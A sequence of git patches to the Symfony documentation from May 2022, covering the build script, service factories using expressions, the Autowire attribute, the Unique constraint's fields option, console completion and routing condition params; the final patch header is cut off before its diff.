From 29333b8d9a89a5a7dfc0e76ecf94a88381e492aa Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Sun, 1 May 2022 03:51:31 +0200
Subject: [PATCH 1847/5766] Fail the build when needed

---
 .github/workflows/ci.yaml | 6 +-----
 _build/build.php          | 4 ++++
 2 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 6750bd8eb20..87ccb0b1d75 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -45,11 +45,7 @@ jobs:
 
             -   name: "Build the docs"
                 working-directory: _build
-                run: php build.php -vvv
-
-            -   name: Show log file
-                if: ${{ always() }}
-                run: cat _build/logs.txt || true
+                run: php build.php --disable-cache
 
     doctor-rst:
         name: Lint (DOCtor-RST)
diff --git a/_build/build.php b/_build/build.php
index 3c64f4d6b85..66470a0df59 100755
--- a/_build/build.php
+++ b/_build/build.php
@@ -57,7 +57,11 @@
             $io->error(sprintf("There were some errors while building the docs:\n\n%s\n", $result->getErrorTrace()));
             $io->newLine();
             $io->comment('Tip: you can add the -v, -vv or -vvv flags to this command to get debug information.');
+
+            return 1;
         }
+
+        return 0;
     })
     ->getApplication()
     ->setDefaultCommand('build-docs', true)

From bf55fc5d44b63a602887b379a67e6e370124d204 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Sun, 1 May 2022 03:55:59 +0200
Subject: [PATCH 1848/5766] Remove not-supported contents directive

---
 testing.rst | 12 ------------
 1 file changed, 12 deletions(-)

diff --git a/testing.rst b/testing.rst
index 031f8d17948..2ebaf352a15 100644
--- a/testing.rst
+++ b/testing.rst
@@ -523,10 +523,6 @@ The full signature of the ``request()`` method is::
 
 This allows you to create all types of requests you can think of:
 
-.. contents::
-    :local:
-    :depth: 1
-
 .. tip::
 
     The test client is available as the ``test.client`` service in the
@@ -671,10 +667,6 @@ Interacting with the Response
 Like a real browser, the Client and Crawler objects can be used to interact
 with the page you're served:
 
-.. contents::
-    :local:
-    :depth: 1
-
 .. _testing-links:
 
 Clicking on Links
@@ -815,10 +807,6 @@ check anything you want.
 
 However, Symfony provides useful shortcut methods for the most common cases:
 
-.. contents::
-    :local:
-    :depth: 1
-
 .. versionadded:: 4.3
 
     The shortcut methods for assertions using ``WebTestCase`` were introduced

From e875eff0ca70cb6de5aad863fb184bf6555fcc7f Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Sun, 1 May 2022 04:04:12 +0200
Subject: [PATCH 1849/5766] Fix build errors

---
 form/form_collections.rst   | 2 +-
 form/form_customization.rst | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index 8b34dc700aa..ca7dd6228f7 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -657,7 +657,7 @@ the relationship between the removed ``Tag`` and ``Task`` object.
     The Symfony community has created some JavaScript packages that provide the
     functionality needed to add, edit and delete elements of the collection.
     Check out the `@a2lix/symfony-collection`_ package for modern browsers and
-    the `symfony-collection`_ package based on `jQuery`_ for the rest of browsers.
+    the `symfony-collection`_ package based on jQuery for the rest of browsers.
 
 .. _`Owning Side and Inverse Side`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/unitofwork-associations.html
 .. _`JSFiddle`: https://jsfiddle.net/ey8ozh6n/
diff --git a/form/form_customization.rst b/form/form_customization.rst
index 7c1fc159404..738ac6a947e 100644
--- a/form/form_customization.rst
+++ b/form/form_customization.rst
@@ -270,7 +270,7 @@ Renders any errors for the given field.
 
     In the Bootstrap 4 form theme, ``form_errors()`` is already included in
     ``form_label()``. Read more about this in the
-    :ref:`Bootstrap 4 theme documentation <reference-forms-bootstrap5-error-messages>`.
+    :ref:`Bootstrap 4 theme documentation <reference-forms-bootstrap4-error-messages>`.
 
 .. _reference-forms-twig-widget:
 

From 154d6676863702c09c3d2c92bcd4a03aa58f4d93 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 1 May 2022 13:42:14 +0200
Subject: [PATCH 1850/5766] [#16516] Move section to
 service_container/factories

---
 service_container/expression_language.rst | 52 +---------------
 service_container/factories.rst           | 76 +++++++++++++++++++++++
 2 files changed, 79 insertions(+), 49 deletions(-)

diff --git a/service_container/expression_language.rst b/service_container/expression_language.rst
index 89eb49f9453..5c42f64471a 100644
--- a/service_container/expression_language.rst
+++ b/service_container/expression_language.rst
@@ -130,55 +130,9 @@ via a ``container`` variable. Here's another example:
         };
 
 Expressions can be used in ``arguments``, ``properties``, as arguments with
-``configurator`` and as arguments to ``calls`` (method calls).
-
-You can also use expressions as service factories:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            App\Mailer:
-                factory: "@=parameter('some_param') ? service('some_service') : arg(0)"
-                arguments:
-                    - '@some_other_service'
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <service id="App\Mailer">
-                    <factory expression="parameter('some_param') ? service('some_service') : arg(0)"/>
-                    <argument type="service" id="some_other_service"/>
-                </service>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        use App\Mailer;
-
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
-
-            $services->set(Mailer::class)
-                ->factory(expr("parameter('some_param') ? service('some_service') : arg(0)"))
-                ->args([service('some_other_service')]);
-        };
-
-In this context, you have access to the ``arg`` function that allows getting the value of arguments passed to the factory.
+``configurator``, as arguments to ``calls`` (method calls) and in
+``factories`` (:doc:`service factories </service_container/factories>`).
 
 .. versionadded:: 6.1
 
-    Using expressions as factories was introduced in Symfony 6.1.
+    Using expressions in ``factories`` was introduced in Symfony 6.1.
diff --git a/service_container/factories.rst b/service_container/factories.rst
index 54775793a52..89c66b039ff 100644
--- a/service_container/factories.rst
+++ b/service_container/factories.rst
@@ -239,6 +239,82 @@ method name:
                 ->factory(service(InvokableNewsletterManagerFactory::class));
         };
 
+Using Expressions in Email Factories
+--------------------------------------
+
+.. versionadded:: 6.1
+
+    Using expressions as factories was introduced in Symfony 6.1.
+
+Instead of using PHP classes as a factory, you can also use
+:doc:`expressions </service_container/expressions>`. This allows you to
+e.g. change the service based on a parameter:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            App\Email\NewsletterManagerInterface:
+                # use the "tracable_newsletter" service when debug is enabled, "newsletter" otherwise.
+                # "@=" indicates that this is an expression
+                factory: '@=parameter("kernel.debug") ? service("tracable_newsletter") : service("newsletter")'
+
+            # you can use the arg() function to retrieve an argument from the definition
+            App\Email\NewsletterManagerInterface:
+                factory: "@=arg(0).createNewsletterManager() ?: service("default_newsletter_manager")"
+                arguments:
+                    - '@App\Email\NewsletterManagerFactory'
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <service id="App\Email\NewsletterManagerInterface">
+                    <!-- use the "tracable_newsletter" service when debug is enabled, "newsletter" otherwise -->
+                    <factory expression="parameter('kernel.debug') ? service('tracable_newsletter') : service('newsletter')"/>
+                </service>
+
+                <!-- you can use the arg() function to retrieve an argument from the definition -->
+                <service id="App\Email\NewsletterManagerInterface">
+                    <factory expression="arg(0).createNewsletterManager() ?: service("default_newsletter_manager")"/>
+                    <argument type="service" id="App\Email\NewsletterManagerFactory"/>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use App\Email\NewsletterManagerInterface;
+        use App\Email\NewsletterManagerFactory;
+
+        return function(ContainerConfigurator $configurator) {
+            $services = $configurator->services();
+
+            $services->set(NewsletterManagerInterface::class)
+                // use the "tracable_newsletter" service when debug is enabled, "newsletter" otherwise.
+                ->factory(expr("parameter('kernel.debug') ? service('tracable_newsletter') : service('newsletter')"))
+            ;
+
+            // you can use the arg() function to retrieve an argument from the definition
+            $services->set(NewsletterManagerInterface::class)
+                ->factory(expr("arg(0).createNewsletterManager() ?: service('default_newsletter_manager')"))
+                ->args([
+                    service(NewsletterManagerFactory::class),
+                ])
+            ;
+        };
+
 .. _factories-passing-arguments-factory-method:
 
 Passing Arguments to the Factory Method

From 493e9b76d1db60675e4047f3ba0143fcbc7b08fc Mon Sep 17 00:00:00 2001
From: Filippos Karailanidis <phil.230@gmail.com>
Date: Tue, 18 Jan 2022 21:36:18 +0200
Subject: [PATCH 1851/5766] Add session_token option

---
 messenger.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 3d4d8645458..d64630a3874 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1563,11 +1563,16 @@ The transport has a number of options:
 ``queue_name``          Name of the queue                       messages
 ``region``              Name of the AWS region                  eu-west-1
 ``secret_key``          AWS secret key                          must be urlencoded
+``session_token``       AWS session token
 ``visibility_timeout``  Amount of seconds the message will      Queue's configuration
                         not be visible (`Visibility Timeout`_)
 ``wait_time``           `Long polling`_ duration in seconds     20
 ======================  ======================================  ===================================
 
+.. versionadded:: 6.1
+
+    The ``session_token`` option was introduced in Symfony 6.1.
+
 .. note::
 
     The ``wait_time`` parameter defines the maximum duration Amazon SQS should

From bf8be7e848041b82db92dc083f6216b1d98bdea6 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 1 May 2022 16:53:31 +0200
Subject: [PATCH 1852/5766] Move the autowire attribute sections

---
 controller.rst                   | 125 ++++++++-----------------------
 service_container.rst            |  50 -------------
 service_container/autowiring.rst |  56 +++++++++++++-
 3 files changed, 86 insertions(+), 145 deletions(-)

diff --git a/controller.rst b/controller.rst
index c1510ba6896..a0bb1d3ffb5 100644
--- a/controller.rst
+++ b/controller.rst
@@ -223,107 +223,46 @@ command:
 
     $ php bin/console debug:autowiring
 
-If you need control over the *exact* value of an argument, you can :ref:`bind <services-binding>`
-the argument by its name:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            # ...
-
-            # explicitly configure the service
-            App\Controller\LuckyController:
-                tags: [controller.service_arguments]
-                bind:
-                    # for any $logger argument, pass this specific service
-                    $logger: '@monolog.logger.doctrine'
-                    # for any $projectDir argument, pass this parameter value
-                    $projectDir: '%kernel.project_dir%'
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <!-- ... -->
-
-                <!-- Explicitly configure the service -->
-                <service id="App\Controller\LuckyController">
-                    <tag name="controller.service_arguments"/>
-                    <bind key="$logger"
-                        type="service"
-                        id="monolog.logger.doctrine"
-                    />
-                    <bind key="$projectDir">%kernel.project_dir%</bind>
-                </service>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        use App\Controller\LuckyController;
-        use Symfony\Component\DependencyInjection\Reference;
-
-        $container->register(LuckyController::class)
-            ->addTag('controller.service_arguments')
-            ->setBindings([
-                '$logger' => new Reference('monolog.logger.doctrine'),
-                '$projectDir' => '%kernel.project_dir%',
-            ])
-        ;
-
-Like with all services, you can also use regular :ref:`constructor injection <services-constructor-injection>`
-in your controllers.
-
-For more information about services, see the :doc:`/service_container` article.
-
-Autowire Parameter Attribute
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-.. versionadded:: 6.1
+.. tip::
 
-    The ``#[Autowire]`` attribute was introduced in Symfony 6.1.
+    If you need control over the *exact* value of an argument, you can use the
+    ``#[Autowire]`` attribute::
 
-Services that cannot be autowired, :ref:`parameters <service-parameters>` and even
-:doc:`complex expressions </service_container/expression_language>` can be bound
-to a controller argument with the ``#[Autowire]`` attribute::
+        // ...
+        use Psr\Log\LoggerInterface;
+        use Symfony\Component\DependencyInjection\Attribute\Autowire;
+        use Symfony\Component\HttpFoundation\Response;
 
-    use Psr\Log\LoggerInterface;
-    use Symfony\Component\DependencyInjection\Attribute\Autowire;
-    use Symfony\Component\HttpFoundation\Response;
-    // ...
+        class LuckyController extends AbstractController
+        {
+            public function number(
+                int $max,
+
+                // inject a specific logger service
+                #[Autowire('@monolog.logger.request')]
+                LoggerInterface $logger,
+
+                // or inject parameter values
+                #[Autowire('%kernel.project_dir%')]
+                string $projectDir
+            ): Response
+            {
+                $logger->info('We are logging!');
+                // ...
+            }
+        }
 
-    /**
-     * @Route("/lucky/number/{max}")
-     */
-    public function number(
-        int $max,
+    You can read more about this attribute in :ref:`autowire-attribute`.
 
-        #[Autowire('@monolog.logger.request')]
-        LoggerInterface $logger,
+    .. versionadded:: 6.1
 
-        #[Autowire('%kernel.project_dir%/data')]
-        string $dataDir,
+        The ``#[Autowire]`` attribute was introduced in Symfony 6.1.
 
-        #[Autowire('%kernel.debug%')]
-        bool $debugMode,
+Like with all services, you can also use regular
+:ref:`constructor injection <services-constructor-injection>` in your
+controllers.
 
-        #[Autowire("@=service("App\\Mail\\MailerConfiguration").getMailerMethod()")]
-        string $mailerMethod,
-    ): Response
-    {
-        $logger->info('We are logging!');
-        // ...
-    }
+For more information about services, see the :doc:`/service_container` article.
 
 Generating Controllers
 ----------------------
diff --git a/service_container.rst b/service_container.rst
index 4e613c90708..6b6015a02e8 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -687,56 +687,6 @@ For a full list of *all* possible services in the container, run:
 
 .. _services-binding:
 
-Autowire Parameter Attribute
-----------------------------
-
-.. versionadded:: 6.1
-
-    The ``#[Autowire]`` attribute was introduced in Symfony 6.1.
-
-For services that cannot be autowired, you can use the ``#[Autowire]`` parameter
-attribute to explicitly configure the service::
-
-    // src/Service/MessageGenerator.php
-    namespace App\Service;
-
-    use Psr\Log\LoggerInterface;
-    use Symfony\Component\DependencyInjection\Attribute\Autowire;
-
-    class MessageGenerator
-    {
-        public function __construct(
-            #[Autowire('@monolog.logger.request')] private LoggerInterface $logger
-        ) {
-        }
-        // ...
-    }
-
-The ``#[Autowire]`` can also be used for :ref:`parameters <service-parameters>` and even
-:doc:`complex expressions </service_container/expression_language>`::
-
-    // src/Service/MessageGenerator.php
-    namespace App\Service;
-
-    use Psr\Log\LoggerInterface;
-    use Symfony\Component\DependencyInjection\Attribute\Autowire;
-
-    class MessageGenerator
-    {
-        public function __construct(
-            #[Autowire('%kernel.project_dir%/data')]
-            private string $dataDir,
-
-            #[Autowire('%kernel.debug%')]
-            private bool $debugMode,
-
-            #[Autowire("@=service("App\\Mail\\MailerConfiguration").getMailerMethod()")]
-            private string $mailerMethod,
-        ) {
-        }
-        // ...
-    }
-
 Binding Arguments by Name or Type
 ---------------------------------
 
diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 7aa968a22e4..b5387415614 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -532,6 +532,8 @@ If the argument is named ``$shoutyTransformer``,
 But, you can also manually wire any *other* service by specifying the argument
 under the arguments key.
 
+.. _autowire-attribute:
+
 Fixing Non-Autowireable Arguments
 ---------------------------------
 
@@ -539,8 +541,58 @@ Autowiring only works when your argument is an *object*. But if you have a scala
 argument (e.g. a string), this cannot be autowired: Symfony will throw a clear
 exception.
 
-To fix this, you can :ref:`manually wire the problematic argument <services-manually-wire-args>`.
-You wire up the difficult arguments, Symfony takes care of the rest.
+To fix this, you can :ref:`manually wire the problematic argument <services-manually-wire-args>`
+in the service configuration. You wire up only the difficult arguments,
+Symfony takes care of the rest.
+
+You can also use the ``#[Autowire]`` parameter attribute to configure the
+problematic arguments:
+
+    // src/Service/MessageGenerator.php
+    namespace App\Service;
+
+    use Psr\Log\LoggerInterface;
+    use Symfony\Component\DependencyInjection\Attribute\Autowire;
+
+    class MessageGenerator
+    {
+        public function __construct(
+            #[Autowire('@monolog.logger.request')] LoggerInterface $logger
+        ) {
+            // ...
+        }
+    }
+
+.. versionadded:: 6.1
+
+    The ``#[Autowire]`` attribute was introduced in Symfony 6.1.
+
+The ``#[Autowire]`` attribute can also be used for :ref:`parameters <service-parameters>`
+and even :doc:`complex expressions </service_container/expression_language>`::
+
+    // src/Service/MessageGenerator.php
+    namespace App\Service;
+
+    use Psr\Log\LoggerInterface;
+    use Symfony\Component\DependencyInjection\Attribute\Autowire;
+
+    class MessageGenerator
+    {
+        public function __construct(
+            // use the %...% syntax for parameters
+            #[Autowire('%kernel.project_dir%/data')]
+            string $dataDir,
+
+            #[Autowire('%kernel.debug%')]
+            bool $debugMode,
+
+            // and @=... for expressions
+            #[Autowire("@=service("App\\Mail\\MailerConfiguration").getMailerMethod()")]
+            string $mailerMethod
+        ) {
+        }
+        // ...
+    }
 
 .. _autowiring-calls:
 

From dcbad67eb1cf3cf4ce5d97b8ecaef29b1e2f8f70 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 1 May 2022 17:55:26 +0200
Subject: [PATCH 1853/5766] Added basic example

---
 reference/constraints/Unique.rst | 86 ++++++++++++++++++++++++++++++--
 1 file changed, 83 insertions(+), 3 deletions(-)

diff --git a/reference/constraints/Unique.rst b/reference/constraints/Unique.rst
index ad6e148254d..4e24a5f8b3b 100644
--- a/reference/constraints/Unique.rst
+++ b/reference/constraints/Unique.rst
@@ -113,9 +113,89 @@ Options
 
     The ``fields`` option was introduced in Symfony 6.1.
 
-This is optional and defines key or keys
-in a collection that should be checked for uniqueness.
-By default, all collection keys are checked for uniqueness.
+This is defines the key or keys in a collection that should be checked for
+uniqueness. By default, all collection keys are checked for uniqueness.
+
+For instance, assume you have a collection of items that contain a
+``latitude``, ``longitude`` and ``label`` fields. By default, you can have
+duplicate coordinates as long as the label is different. By setting the
+``fields`` option, you can force latitude+longitude to be unique in the
+collection::
+
+.. configuration-block::
+
+    .. code-block:: php-annotations
+
+        // src/Entity/Poi.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Poi
+        {
+            /**
+             * @Assert\Unique(fields={"latitude", "longitude"})
+             */
+            protected $coordinates;
+        }
+
+    .. code-block:: php-attributes
+
+        // src/Entity/Poi.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Poi
+        {
+            #[Assert\Unique(fields=['latitude', 'longitude'])]
+            protected $coordinates;
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\Entity\Poi:
+            properties:
+                contactEmails:
+                    - Unique:
+                          fields: [latitude, longitude]
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+
+            <class name="App\Entity\Poi">
+                <property name="coordinates">
+                    <constraint name="Unique">
+                        <field>latitude</field>
+                        <field>longitude</field>
+                    </constraint>
+                </property>
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/Entity/Poi.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class Poi
+        {
+            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            {
+                $metadata->addPropertyConstraint('contactEmails', new Assert\Unique([
+                    'fields' => ['latitude', 'longitude'],
+                ]));
+            }
+        }
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 

From 18786941f312ab811748e4177baf9c770083e4b3 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 16 Apr 2022 17:09:48 +0200
Subject: [PATCH 1854/5766] Document input definition completion and Fish
 support

---
 console.rst       |  4 ++++
 console/input.rst | 47 +++++++++++++++++++++++++++++------------------
 page_creation.rst |  2 +-
 3 files changed, 34 insertions(+), 19 deletions(-)

diff --git a/console.rst b/console.rst
index 6969bd75e1a..20476e88206 100644
--- a/console.rst
+++ b/console.rst
@@ -59,6 +59,10 @@ command, for instance:
 Console Completion
 ~~~~~~~~~~~~~~~~~~
 
+.. versionadded:: 6.1
+
+    Console completion for Fish was introduced in Symfony 6.1.
+
 If you are using the Bash shell, you can install Symfony's completion
 script to get auto completion when typing commands in the terminal. All
 commands support name and option completion, and some can even complete
diff --git a/console/input.rst b/console/input.rst
index 36718199e6f..2182be5409c 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -313,7 +313,7 @@ can also implement value completion for the input in your commands. For
 instance, you may want to complete all usernames from the database in the
 ``name`` argument of your greet command.
 
-To achieve this, override the ``complete()`` method in the command::
+To achieve this, use the 5th argument of ``addArgument()``/``addOption``::
 
     // ...
     use Symfony\Component\Console\Completion\CompletionInput;
@@ -322,32 +322,43 @@ To achieve this, override the ``complete()`` method in the command::
     class GreetCommand extends Command
     {
         // ...
-
-        public function complete(CompletionInput $input, CompletionSuggestions $suggestions): void
+        protected function configure(): void
         {
-            if ($input->mustSuggestArgumentValuesFor('names')) {
-                // the user asks for completion input for the "names" option
-
-                // the value the user already typed, e.g. when typing "app:greet Fa" before
-                // pressing Tab, this will contain "Fa"
-                $currentValue = $input->getCompletionValue();
-
-                // get the list of username names from somewhere (e.g. the database)
-                // you may use $currentValue to filter down the names
-                $availableUsernames = ...;
-
-                // then add the retrieved names as suggested values
-                $suggestions->suggestValues($availableUsernames);
-            }
+            $this
+                ->addArgument(
+                    'names',
+                    InputArgument::IS_ARRAY,
+                    'Who do you want to greet (separate multiple names with a space)?',
+                    null,
+                    function (CompletionInput $input) {
+                        // the value the user already typed, e.g. when typing "app:greet Fa" before
+                        // pressing Tab, this will contain "Fa"
+                        $currentValue = $input->getCompletionValue();
+
+                        // get the list of username names from somewhere (e.g. the database)
+                        // you may use $currentValue to filter down the names
+                        $availableUsernames = ...;
+
+                        // then suggested the usernames as values
+                        return $availableUsernames;
+                    }
+                )
+            ;
         }
     }
 
+.. versionadded:: 6.1
+
+    The argument to ``addOption()``/``addArgument()`` was introduced in
+    Symfony 6.1. Prior to this version, you had to override the
+    ``complete()`` method of the command.
+
 That's all you need! Assuming users "Fabien" and "Fabrice" exist, pressing
 tab after typing ``app:greet Fa`` will give you these names as a suggestion.
 
 .. tip::
 
-    The bash shell is able to handle huge amounts of suggestions and will
+    The shell script is able to handle huge amounts of suggestions and will
     automatically filter the suggested values based on the existing input
     from the user. You do not have to implement any filter logic in the
     command.
diff --git a/page_creation.rst b/page_creation.rst
index af315b188c4..b9d6b6e43b5 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -197,7 +197,7 @@ You'll learn about many more commands as you continue!
 
 .. tip::
 
-    If you are using the Bash shell, you can set up completion support.
+    If you are using the Bash or Fish shell, you can set up completion support.
     This autocompletes commands and other input when using ``bin/console``.
     See :ref:`the Console document <console-completion-setup>` for more
     information on how to set up completion.

From b4efe17d6f1acc8fd6071003e823d966696d8551 Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Sat, 23 Apr 2022 08:40:12 +0200
Subject: [PATCH 1855/5766] [Routing] Add params variable to condition
 expression

---
 routing.rst | 60 ++++++++++++++++++++++++++++++++++++++++++++++++-----
 1 file changed, 55 insertions(+), 5 deletions(-)

diff --git a/routing.rst b/routing.rst
index a4028c4dc96..7aa8c3d30ce 100644
--- a/routing.rst
+++ b/routing.rst
@@ -323,12 +323,25 @@ arbitrary matching logic:
              * )
              *
              * expressions can also include configuration parameters:
-             * condition: "request.headers.get('User-Agent') matches '%app.allowed_browsers%'"
+             * condition="request.headers.get('User-Agent') matches '%app.allowed_browsers%'"
              */
             public function contact(): Response
             {
                 // ...
             }
+
+            /**
+             * expressions can retrieve route parameter values using the "params" variable
+             * @Route(
+             *     "/posts/{id}",
+             *     name="post_show",
+             *     condition="params['id'] < 1000"
+             * )
+             */
+            public function showPost(int $id): Response
+            {
+                // ... return a JSON response with the post
+            }
         }
 
     .. code-block:: php-attributes
@@ -346,13 +359,24 @@ arbitrary matching logic:
                 '/contact',
                 name: 'contact',
                 condition: "context.getMethod() in ['GET', 'HEAD'] and request.headers.get('User-Agent') matches '/firefox/i'",
+                // expressions can also include config parameters:
+                // condition: "request.headers.get('User-Agent') matches '%app.allowed_browsers%'"
             )]
-            // expressions can also include config parameters:
-            // condition: "request.headers.get('User-Agent') matches '%app.allowed_browsers%'"
             public function contact(): Response
             {
                 // ...
             }
+
+            #[Route(
+                '/posts/{id}',
+                name: 'post_show',
+                // expressions can retrieve route parameter values using the "params" variable
+                condition: "params['id'] < 1000"
+            )]
+            public function showPost(int $id): Response
+            {
+                // ... return a JSON response with the post
+            }
         }
 
     .. code-block:: yaml
@@ -367,6 +391,12 @@ arbitrary matching logic:
             # expressions can even use environment variables:
             # condition: "context.getHost() == env('APP_MAIN_HOST')"
 
+        post_show:
+            path:       /posts/{id}
+            controller: 'App\Controller\DefaultController::showPost'
+            # expressions can retrieve route parameter values using the "params" variable
+            condition:  "params['id'] < 1000"
+
     .. code-block:: xml
 
         <!-- config/routes.xml -->
@@ -383,6 +413,11 @@ arbitrary matching logic:
                 <!-- expressions can even use environment variables: -->
                 <!-- <condition>context.getHost() == env('APP_MAIN_HOST')</condition> -->
             </route>
+
+            <route id="post_show" path="/posts/{id}" controller="App\Controller\DefaultController::showPost">
+                <!-- expressions can retrieve route parameter values using the "params" variable -->
+                <condition>params['id'] &lt; 1000</condition>
+            </route>
         </routes>
 
     .. code-block:: php
@@ -400,6 +435,11 @@ arbitrary matching logic:
                 // expressions can even use environment variables:
                 // ->condition('context.getHost() == env("APP_MAIN_HOST")')
             ;
+            $routes->add('post_show', '/posts/{id}')
+                ->controller([DefaultController::class, 'showPost'])
+                // expressions can retrieve route parameter values using the "params" variable
+                ->condition('params["id"] < 1000')
+            ;
         };
 
 The value of the ``condition`` option is any valid
@@ -414,6 +454,14 @@ and can use any of these variables created by Symfony:
     The :ref:`Symfony Request <component-http-foundation-request>` object that
     represents the current request.
 
+``params``
+    An array of matched :ref:`route parameters <routing-route-parameters>` for
+    the current route.
+
+.. versionadded:: 6.1
+
+    The ``params`` variable was introduced in Symfony 6.1.
+
 You can also use this function:
 
 ``env(string $name)``
@@ -478,6 +526,8 @@ controller action that you expect:
 
       [OK] Route "app_lucky_number" matches
 
+.. _routing-route-parameters:
+
 Route Parameters
 ----------------
 
@@ -1385,7 +1435,7 @@ A possible solution is to change the parameter requirements to be more permissiv
 
         // src/Controller/DefaultController.php
         namespace App\Controller;
-        
+
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
         use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
@@ -1505,7 +1555,7 @@ when importing the routes.
 
         // src/Controller/BlogController.php
         namespace App\Controller;
-        
+
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
         use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;

From c935226df02bcd7cc5c0c66377c2315aedae5a39 Mon Sep 17 00:00:00 2001
From: CJDennis <CJDennis@users.noreply.github.com>
Date: Mon, 2 May 2022 13:25:16 +1000
Subject: [PATCH 1856/5766] Update twig_extension.rst

Improve grammar
---
 templating/twig_extension.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/templating/twig_extension.rst b/templating/twig_extension.rst
index 03fcd7a9471..5891eb1a1c1 100644
--- a/templating/twig_extension.rst
+++ b/templating/twig_extension.rst
@@ -4,8 +4,8 @@
 How to Write a custom Twig Extension
 ====================================
 
-`Twig Extensions`_ allow to create custom functions, filters and more to use
-them in your Twig templates. Before writing your own Twig extension, check if
+`Twig Extensions`_ allow the creation of custom functions, filters, and more to use
+in your Twig templates. Before writing your own Twig extension, check if
 the filter/function that you need is already implemented in:
 
 * The `default Twig filters and functions`_;
@@ -16,7 +16,7 @@ Create the Extension Class
 --------------------------
 
 Suppose you want to create a new filter called ``price`` that formats a number
-into money:
+as currency:
 
 .. code-block:: twig
 
@@ -117,7 +117,7 @@ them) performance is not affected. However, if extensions define lots of complex
 dependencies (e.g. those making database connections), the performance loss can
 be significant.
 
-That's why Twig allows to decouple the extension definition from its
+That's why Twig allows decoupling the extension definition from its
 implementation. Following the same example as before, the first change would be
 to remove the ``formatPrice()`` method from the extension and update the PHP
 callable defined in ``getFilters()``::

From 082570a630df4d22c3680644c2c6d4eb59c329d7 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouterj@users.noreply.github.com>
Date: Mon, 2 May 2022 16:47:43 +0200
Subject: [PATCH 1857/5766] Fixed typo

---
 service_container/factories.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/factories.rst b/service_container/factories.rst
index 89c66b039ff..e0dd2215b9e 100644
